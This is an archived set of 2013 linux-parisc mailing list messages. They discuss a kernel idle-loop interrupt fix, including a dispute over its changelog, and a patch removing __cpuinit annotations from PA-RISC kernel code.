> > From: James Bottomley <JBottomley@Parallels.com>
> > Date: Wed, 8 May 2013 14:05:34 -0700
> > Subject: [PATCH] [PARISC] fix WARNING: at kernel/cpu/idle.c:96
> >
> > On PA-RISC (and presumably any other arch that doesn't implement its own
> > arch_cpu_idle), we get this spurious boot warning.  The problem is that the
> > way the idle task is selected initially using the weak arch_cpu_idle() in
> > idle.c causes us to enter this place once with interrupts enabled.  Fix this
> > by disabling interrupts in the weak arch_cpu_idle() code.
> 
> Is this changelog correct?  It looks to me like you are enabling 
> interrupts down there.

Yes, obvious typo, sorry.  The WARN_ON check is for disabled interrupts
the fix is to enable them.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH RESEND] fix WARNING: at kernel/cpu/idle.c:96
Date: Fri, 14 Jun 2013 22:39:47 +0200 (CEST)
Lines: 66
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.02.1306142227260.24522@ionos.tec.linutronix.de>
References: <1371236142.2726.43.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1371242392 19214 80.91.229.3 (14 Jun 2013 20:39:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Jun 2013 20:39:52 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 14 22:39:52 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Unaml-0004CJ-2p
	for glpp-linux-parisc@plane.gmane.org; Fri, 14 Jun 2013 22:39:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753789Ab3FNUju (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Jun 2013 16:39:50 -0400
Original-Received: from www.linutronix.de ([62.245.132.108]:56233 "EHLO
	Galois.linutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753699Ab3FNUjt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Jun 2013 16:39:49 -0400
Original-Received: from localhost ([127.0.0.1])
	by Galois.linutronix.de with esmtps (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.72)
	(envelope-from <tglx@linutronix.de>)
	id 1Unami-0006Nb-4P; Fri, 14 Jun 2013 22:39:48 +0200
In-Reply-To: <1371236142.2726.43.camel@dabdike>
User-Agent: Alpine 2.02 (DEB 1266 2009-07-14)
X-Linutronix-Spam-Score: -1.0
X-Linutronix-Spam-Level: -
X-Linutronix-Spam-Status: No , -1.0 points, 5.0 required,  ALL_TRUSTED=-1,SHORTCIRCUIT=-0.0001
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5151 gmane.linux.kernel:1508625
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5151>

On Fri, 14 Jun 2013, James Bottomley wrote:

> >From 48bbf44a96676ce6f520a408378730c976e9a11e Mon Sep 17 00:00:00 2001
> From: James Bottomley <JBottomley@Parallels.com>
> Date: Wed, 8 May 2013 14:05:34 -0700
> Subject: [PATCH] [PARISC] fix WARNING: at kernel/cpu/idle.c:96
> 
> On PA-RISC (and presumably any other arch that doesn't implement its own
> arch_cpu_idle), we get this spurious boot warning.  The problem is that the
> way the idle task is selected initially using the weak arch_cpu_idle() in
> idle.c causes us to enter this place once with interrupts enabled.  Fix this
> by disabling interrupts in the weak arch_cpu_idle() code.
> 
> Reviewed-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
> Cc: stable@vger.kernel.org

What's the stable tag for? This code got merged in 3,10, so stable is
totally irrelevant.

> Signed-off-by: James Bottomley <JBottomley@Parallels.com>
> 
> ---
> 
> Thomas, I'm getting a bit impatient: this is a clear bug in the cpu idle
> code and we keep getting reports of this as a boot crash on parisc.  If
> you don't push it through your tree, I'll take it through the parisc
> one.

Hold your breath. I was not even CC'ed on the original patch and I
admit that I ignored the patch which starts with [PARISC].

If the subject line would have started with [idle], [core/idle] I
definitely would have paid attention.

Aside of that the rest of the subject line is just annoyingly
sloppy. We do not fix a WARNING. That's not what this patch is
about. The patch fixes a problem which got introduced with the idle
rework, period.

I'll pick it up and fix the changelog.

Thanks,

	tglx

> 
> diff --git a/kernel/cpu/idle.c b/kernel/cpu/idle.c
> index d5585f5..0a4d11e 100644
> --- a/kernel/cpu/idle.c
> +++ b/kernel/cpu/idle.c
> @@ -58,6 +58,7 @@ void __weak arch_cpu_idle_dead(void) { }
>  void __weak arch_cpu_idle(void)
>  {
>  	cpu_idle_force_poll = 1;
> +	local_irq_enable();
>  }
>  
>  /*
> 
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH RESEND] fix WARNING: at kernel/cpu/idle.c:96
Date: Fri, 14 Jun 2013 22:49:06 +0200 (CEST)
Lines: 68
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.02.1306142245050.24522@ionos.tec.linutronix.de>
References: <1371236142.2726.43.camel@dabdike> <alpine.DEB.2.02.1306142227260.24522@ionos.tec.linutronix.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1371242949 24862 80.91.229.3 (14 Jun 2013 20:49:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Jun 2013 20:49:09 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 14 22:49:11 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Unavm-0002Rb-HJ
	for glpp-linux-parisc@plane.gmane.org; Fri, 14 Jun 2013 22:49:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752063Ab3FNUtK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Jun 2013 16:49:10 -0400
Original-Received: from www.linutronix.de ([62.245.132.108]:56283 "EHLO
	Galois.linutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752045Ab3FNUtJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Jun 2013 16:49:09 -0400
Original-Received: from localhost ([127.0.0.1])
	by Galois.linutronix.de with esmtps (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.72)
	(envelope-from <tglx@linutronix.de>)
	id 1Unavj-0006RU-9r; Fri, 14 Jun 2013 22:49:07 +0200
In-Reply-To: <alpine.DEB.2.02.1306142227260.24522@ionos.tec.linutronix.de>
User-Agent: Alpine 2.02 (DEB 1266 2009-07-14)
X-Linutronix-Spam-Score: -1.0
X-Linutronix-Spam-Level: -
X-Linutronix-Spam-Status: No , -1.0 points, 5.0 required,  ALL_TRUSTED=-1,SHORTCIRCUIT=-0.0001
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5152 gmane.linux.kernel:1508628
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5152>

On Fri, 14 Jun 2013, Thomas Gleixner wrote:
> On Fri, 14 Jun 2013, James Bottomley wrote:
> 
> > >From 48bbf44a96676ce6f520a408378730c976e9a11e Mon Sep 17 00:00:00 2001
> > From: James Bottomley <JBottomley@Parallels.com>
> > Date: Wed, 8 May 2013 14:05:34 -0700
> > Subject: [PATCH] [PARISC] fix WARNING: at kernel/cpu/idle.c:96
> > 
> > On PA-RISC (and presumably any other arch that doesn't implement its own
> > arch_cpu_idle), we get this spurious boot warning.  The problem is that the
> > way the idle task is selected initially using the weak arch_cpu_idle() in
> > idle.c causes us to enter this place once with interrupts enabled.  Fix this
> > by disabling interrupts in the weak arch_cpu_idle() code.
> > 
> > Reviewed-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
> > Cc: stable@vger.kernel.org
> 
> What's the stable tag for? This code got merged in 3,10, so stable is
> totally irrelevant.
> 
> > Signed-off-by: James Bottomley <JBottomley@Parallels.com>
> > 
> > ---
> > 
> > Thomas, I'm getting a bit impatient: this is a clear bug in the cpu idle
> > code and we keep getting reports of this as a boot crash on parisc.  If
> > you don't push it through your tree, I'll take it through the parisc
> > one.
> 
> Hold your breath. I was not even CC'ed on the original patch and I
> admit that I ignored the patch which starts with [PARISC].
> 
> If the subject line would have started with [idle], [core/idle] I
> definitely would have paid attention.
> 
> Aside of that the rest of the subject line is just annoyingly
> sloppy. We do not fix a WARNING. That's not what this patch is
> about. The patch fixes a problem which got introduced with the idle
> rework, period.
> 
> I'll pick it up and fix the changelog.

And it needs fixing. It says:

"... way the idle task is selected initially using the weak
 arch_cpu_idle() in idle.c causes us to enter this place once with
 interrupts enabled.  Fix this by disabling interrupts in the weak
 arch_cpu_idle() code."

And the patch does:

 void __weak arch_cpu_idle(void)
 {
        cpu_idle_force_poll = 1;
+       local_irq_enable();
 }

Instead of bullying around you might consider to read
Documentation/SubmittingPatches.

Thanks,

	tglx
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH RESEND] fix WARNING: at kernel/cpu/idle.c:96
Date: Fri, 14 Jun 2013 14:50:33 -0700
Lines: 60
Approved: news@gmane.org
Message-ID: <1371246633.2726.59.camel@dabdike>
References: <1371236142.2726.43.camel@dabdike>
	 <alpine.DEB.2.02.1306142227260.24522@ionos.tec.linutronix.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1371246647 28206 80.91.229.3 (14 Jun 2013 21:50:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Jun 2013 21:50:47 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 14 23:50:46 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1UnbtN-0007GJ-Ih
	for glk-linux-kernel-3@plane.gmane.org; Fri, 14 Jun 2013 23:50:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752701Ab3FNVuh (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 14 Jun 2013 17:50:37 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:34997 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751126Ab3FNVuf (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 14 Jun 2013 17:50:35 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 45FD38EE13D;
	Fri, 14 Jun 2013 14:50:35 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id xxWYHAc5HUtC; Fri, 14 Jun 2013 14:50:35 -0700 (PDT)
Original-Received: from [10.0.0.6] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id C4F8E8EE10E;
	Fri, 14 Jun 2013 14:50:34 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.02.1306142227260.24522@ionos.tec.linutronix.de>
X-Mailer: Evolution 3.8.2 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1508677 gmane.linux.ports.parisc:5153
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1508677>

On Fri, 2013-06-14 at 22:39 +0200, Thomas Gleixner wrote:
> On Fri, 14 Jun 2013, James Bottomley wrote:
> 
> > >From 48bbf44a96676ce6f520a408378730c976e9a11e Mon Sep 17 00:00:00 2001
> > From: James Bottomley <JBottomley@Parallels.com>
> > Date: Wed, 8 May 2013 14:05:34 -0700
> > Subject: [PATCH] [PARISC] fix WARNING: at kernel/cpu/idle.c:96
> > 
> > On PA-RISC (and presumably any other arch that doesn't implement its own
> > arch_cpu_idle), we get this spurious boot warning.  The problem is that the
> > way the idle task is selected initially using the weak arch_cpu_idle() in
> > idle.c causes us to enter this place once with interrupts enabled.  Fix this
> > by disabling interrupts in the weak arch_cpu_idle() code.
> > 
> > Reviewed-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
> > Cc: stable@vger.kernel.org
> 
> What's the stable tag for? This code got merged in 3,10, so stable is
> totally irrelevant.

Hm, OK, it's been so long I'm misremembering which kernel versions need
it.

> > Signed-off-by: James Bottomley <JBottomley@Parallels.com>
> > 
> > ---
> > 
> > Thomas, I'm getting a bit impatient: this is a clear bug in the cpu idle
> > code and we keep getting reports of this as a boot crash on parisc.  If
> > you don't push it through your tree, I'll take it through the parisc
> > one.
> 
> Hold your breath. I was not even CC'ed on the original patch and I
> admit that I ignored the patch which starts with [PARISC].

Oh, you were ... I made sure of that. It's thread with subject

Re: [PATCH] parisc: avoid WARNING: at kernel/cpu/idle.c:96

You were cc'd from the one dated Wed, 08 May 2013 14:05:34 -0700

> If the subject line would have started with [idle], [core/idle] I
> definitely would have paid attention.
> 
> Aside of that the rest of the subject line is just annoyingly
> sloppy. We do not fix a WARNING. That's not what this patch is
> about. The patch fixes a problem which got introduced with the idle
> rework, period.
> 
> I'll pick it up and fix the changelog.

Sure, whatever you think is best ... Given Linus' current mood I think
leading with a description of the actual user visible problem being
fixed is a good way to make sure he doesn't get annoyed, but it's your
call.

James




From - Thu Nov 08 21:09:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: delete __cpuinit usage from all users
Date: Mon, 17 Jun 2013 16:34:24 -0400
Lines: 169
Approved: news@gmane.org
Message-ID: <1371501264-12546-1-git-send-email-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1371501283 10824 80.91.229.3 (17 Jun 2013 20:34:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Jun 2013 20:34:43 +0000 (UTC)
Cc: <linux-parisc@vger.kernel.org>,
	Paul Gortmaker <paul.gortmaker@windriver.com>
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 17 22:34:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Uog8Q-0004h8-CP
	for glpp-linux-parisc@plane.gmane.org; Mon, 17 Jun 2013 22:34:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752655Ab3FQUem (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Jun 2013 16:34:42 -0400
Original-Received: from mail1.windriver.com ([147.11.146.13]:51222 "EHLO
	mail1.windriver.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752587Ab3FQUel (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Jun 2013 16:34:41 -0400
Original-Received: from ALA-HCA.corp.ad.wrs.com (ala-hca.corp.ad.wrs.com [147.11.189.40])
	by mail1.windriver.com (8.14.5/8.14.3) with ESMTP id r5HKYXd3023384
	(version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL);
	Mon, 17 Jun 2013 13:34:35 -0700 (PDT)
Original-Received: from yow-lpgnfs-02.corp.ad.wrs.com (128.224.149.8) by
 ALA-HCA.corp.ad.wrs.com (147.11.189.40) with Microsoft SMTP Server id
 14.2.342.3; Mon, 17 Jun 2013 13:34:32 -0700
X-Mailer: git-send-email 1.8.1.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5154
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5154>

The __cpuinit type of throwaway sections might have made sense
some time ago when RAM was more constrained, but now the savings
do not offset the cost and complications.  For example, the fix in
commit 5e427ec2d0 ("x86: Fix bit corruption at CPU resume time")
is a good example of the nasty type of bugs that can be created
with improper use of the various __init prefixes.

After a discussion on LKML[1] it was decided that cpuinit should go
the way of devinit and be phased out.  Once all the users are gone,
we can then finally remove the macros themselves from linux/init.h.

This removes all the parisc uses of the __cpuinit macros.

[1] https://lkml.org/lkml/2013/5/20/589

Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
---

[This was generated against today's linux-next tree ; I'm assuming all
 pending parisc changes are in there currently.]

 arch/parisc/kernel/firmware.c  | 14 ++++++++------
 arch/parisc/kernel/hardware.c  |  2 +-
 arch/parisc/kernel/processor.c |  6 +++---
 arch/parisc/kernel/smp.c       |  8 ++++----
 4 files changed, 16 insertions(+), 14 deletions(-)

diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index f65fa48..2239590 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -150,7 +150,7 @@ static void convert_to_wide(unsigned long *addr)
 }
 
 #ifdef CONFIG_64BIT
-void __cpuinit set_firmware_width_unlocked(void)
+void set_firmware_width_unlocked(void)
 {
 	int ret;
 
@@ -167,7 +167,7 @@ void __cpuinit set_firmware_width_unlocked(void)
  * This function must be called before any pdc_* function that uses the
  * convert_to_wide function.
  */
-void __cpuinit set_firmware_width(void)
+void set_firmware_width(void)
 {
 	unsigned long flags;
 	spin_lock_irqsave(&pdc_lock, flags);
@@ -175,11 +175,13 @@ void __cpuinit set_firmware_width(void)
 	spin_unlock_irqrestore(&pdc_lock, flags);
 }
 #else
-void __cpuinit set_firmware_width_unlocked(void) {
+void set_firmware_width_unlocked(void)
+{
 	return;
 }
 
-void __cpuinit set_firmware_width(void) {
+void set_firmware_width(void)
+{
 	return;
 }
 #endif /*CONFIG_64BIT*/
@@ -301,7 +303,7 @@ int pdc_chassis_warn(unsigned long *warn)
 	return retval;
 }
 
-int __cpuinit pdc_coproc_cfg_unlocked(struct pdc_coproc_cfg *pdc_coproc_info)
+int pdc_coproc_cfg_unlocked(struct pdc_coproc_cfg *pdc_coproc_info)
 {
 	int ret;
 
@@ -322,7 +324,7 @@ int __cpuinit pdc_coproc_cfg_unlocked(struct pdc_coproc_cfg *pdc_coproc_info)
  * This PDC call returns the presence and status of all the coprocessors
  * attached to the processor.
  */
-int __cpuinit pdc_coproc_cfg(struct pdc_coproc_cfg *pdc_coproc_info)
+int pdc_coproc_cfg(struct pdc_coproc_cfg *pdc_coproc_info)
 {
 	int ret;
 	unsigned long flags;
diff --git a/arch/parisc/kernel/hardware.c b/arch/parisc/kernel/hardware.c
index 9e2d2e4..6f4bbb8 100644
--- a/arch/parisc/kernel/hardware.c
+++ b/arch/parisc/kernel/hardware.c
@@ -1366,7 +1366,7 @@ const char *parisc_hardware_description(struct parisc_device_id *id)
 
 
 /* Interpret hversion (ret[0]) from PDC_MODEL(4)/PDC_MODEL_INFO(0) */
-enum cpu_type __cpuinit
+enum cpu_type
 parisc_get_cpu_type(unsigned long hversion)
 {
 	struct hp_cpu_type_mask *ptr;
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index c8fb61e..a128a94 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -73,7 +73,7 @@ extern int update_cr16_clocksource(void);	/* from time.c */
  *
  * FIXME: doesn't do much yet...
  */
-static void __cpuinit
+static void
 init_percpu_prof(unsigned long cpunum)
 {
 	struct cpuinfo_parisc *p;
@@ -92,7 +92,7 @@ init_percpu_prof(unsigned long cpunum)
  * (return 1).  If so, initialize the chip and tell other partners in crime 
  * they have work to do.
  */
-static int __cpuinit processor_probe(struct parisc_device *dev)
+static int processor_probe(struct parisc_device *dev)
 {
 	unsigned long txn_addr;
 	unsigned long cpuid;
@@ -299,7 +299,7 @@ void __init collect_boot_cpu_data(void)
  *
  * o Enable CPU profiling hooks.
  */
-int __cpuinit init_per_cpu(int cpunum)
+int init_per_cpu(int cpunum)
 {
 	int ret;
 	struct pdc_coproc_cfg coproc_cfg;
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index e3614fb..8a252f2 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -62,9 +62,9 @@ static int smp_debug_lvl = 0;
 volatile struct task_struct *smp_init_current_idle_task;
 
 /* track which CPU is booting */
-static volatile int cpu_now_booting __cpuinitdata;
+static volatile int cpu_now_booting;
 
-static int parisc_max_cpus __cpuinitdata = 1;
+static int parisc_max_cpus = 1;
 
 static DEFINE_PER_CPU(spinlock_t, ipi_lock);
 
@@ -328,7 +328,7 @@ void __init smp_callin(void)
 /*
  * Bring one cpu online.
  */
-int __cpuinit smp_boot_one_cpu(int cpuid, struct task_struct *idle)
+int smp_boot_one_cpu(int cpuid, struct task_struct *idle)
 {
 	const struct cpuinfo_parisc *p = &per_cpu(cpu_data, cpuid);
 	long timeout;
@@ -424,7 +424,7 @@ void smp_cpus_done(unsigned int cpu_max)
 }
 
 
-int __cpuinit __cpu_up(unsigned int cpu, struct task_struct *tidle)
+int __cpu_up(unsigned int cpu, struct task_struct *tidle)
 {
 	if (cpu != 0 && cpu < parisc_max_cpus)
 		smp_boot_one_cpu(cpu, tidle);
-- 
1.8.1.2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: delete __cpuinit usage from all users
Date: Mon, 17 Jun 2013 15:47:27 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <1371509247.8130.34.camel@dabdike>
References: <1371501264-12546-1-git-send-email-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1371509251 27902 80.91.229.3 (17 Jun 2013 22:47:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Jun 2013 22:47:31 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Paul Gortmaker <paul.gortmaker@windriver.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 18 00:47:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UoiCw-00030o-5T
	for glpp-linux-parisc@plane.gmane.org; Tue, 18 Jun 2013 00:47:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751086Ab3FQWr3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Jun 2013 18:47:29 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:47083 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751050Ab3FQWr3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Jun 2013 18:47:29 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 833948EE0FD;
	Mon, 17 Jun 2013 15:47:28 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id T3jjP7nlkAQD; Mon, 17 Jun 2013 15:47:28 -0700 (PDT)
Original-Received: from [10.0.0.2] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 0CAC08EE0A3;
	Mon, 17 Jun 2013 15:47:28 -0700 (PDT)
In-Reply-To: <1371501264-12546-1-git-send-email-paul.gortmaker@windriver.com>
X-Mailer: Evolution 3.8.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5156
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5156>

On Mon, 2013-06-17 at 16:34 -0400, Paul Gortmaker wrote:
> The __cpuinit type of throwaway sections might have made sense
> some time ago when RAM was more constrained, but now the savings
> do not offset the cost and complications.  For example, the fix in
> commit 5e427ec2d0 ("x86: Fix bit corruption at CPU resume time")
> is a good example of the nasty type of bugs that can be created
> with improper use of the various __init prefixes.
> 
> After a discussion on LKML[1] it was decided that cpuinit should go
> the way of devinit and be phased out.  Once all the users are gone,
> we can then finally remove the macros themselves from linux/init.h.

Fine by us ... I'd recommend just rolling this into one patch for all
the cpuinit tags and sending it via the trivial tree (which goes to
linux-next) that way we'll know if we do anything to compromise it.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: delete __cpuinit usage from all users
Date: Tue, 18 Jun 2013 14:36:08 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <51C0A898.4020909@windriver.com>
References: <1371501264-12546-1-git-send-email-paul.gortmaker@windriver.com> <1371509247.8130.34.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
